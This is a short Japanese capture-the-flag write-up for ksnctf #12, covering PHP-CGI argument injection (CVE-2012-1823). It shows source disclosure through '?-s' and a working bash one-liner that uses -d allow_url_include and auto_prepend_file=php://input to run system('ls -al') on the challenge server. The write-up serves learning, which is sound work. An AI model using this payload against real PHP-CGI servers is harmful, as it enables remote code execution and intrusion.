ksnctf #12 Hypertext Preprocessor

ksnctf #12 Hypertext Preprocessor

問題

ページを開いただけではよくわからない。

解き方

とりあえずグーグル先生に出てきた数字を聞いてみる。
すると徳丸先生の脆弱性情報が出てきた。

なるほど。数字の先頭の2012:1823はCVE(脆弱性番号)で、 phpの脆弱性らしい。

試しに、URLのクエリ文字列に「?-s」をつけるとソースコードが出てきた。 [http://ctfq.sweetduet.info:10080/~q12/?-s]

ソースコードを見ると丁寧に「// Flag is in this directory.」と書かれているので、 次はOSインジェクションを試してみる。

「-d」をつけると任意のPHPコードが実行できるようなので、 参考サイトみながらちょろっとコードを書いて実行してみたらフラグをゲットできた。

# bash
echo "<?php system('ls -al'); exit(); ?>" | POST "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

その他

初めはBurpを使ってクエリを書き換えていたが、bashから実行する方法がネットに載っていたので最終的にbashで答えを見つけた。
burpの使い方は慣れていないので練習が必要。

PHPの知識がなくても簡単にOSインジェクションができてしまったが、 PHPの勉強もしたい。

参考

https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html

https://blog.tokumaru.org/2013/11/apache-magica-attack.html

[https://pentesterlab.com/exercises/cve-2012-1823/course]

体系的に学ぶ 安全なWebアプリケーションの作り方 第2版[リフロー版] 脆弱性が生まれる原理と対策の実践 Amazonで購入